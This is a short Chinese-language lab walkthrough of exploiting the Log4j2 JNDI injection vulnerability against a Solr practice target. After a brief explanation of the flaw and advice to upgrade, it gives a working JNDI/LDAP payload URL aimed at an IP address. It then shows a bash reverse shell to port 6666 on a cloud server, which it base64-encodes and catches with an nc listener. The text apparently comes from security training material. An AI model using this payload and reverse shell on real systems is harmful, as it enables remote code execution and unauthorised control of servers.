log4j2漏洞
log4j2 是Apache的一个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末 log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。 apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失
我们用云服务器执行命令,启动容器,开启靶场环境

显示done就是启动成功
进入靶场
输入命令,利用dnslog来测试靶场,监视注入结果
在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:
http://116.62.119.171:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.(dns获取的域名) }
如果存在log4j2漏洞,我们将在DNSLog平台看到回显,返回刚才的DNSLog平台,点击刷新记录Refresh Record
我们先编写恶意文件,将shell反弹到云服务器的6666端口上
因此对应的bash命令为
bash -i >& /dev/tcp/116.62.119.171/6666 0>&1
然后对上述命令进行base64编码
有了编码结果,我们就可以编写恶意文件
将得到的恶意文件拿到之前的网站进行注入
重新打开一个终端,开启nc监听6666端口
反弹到shell,我们可以输入windows命令测试
原先的终端窗口也有消息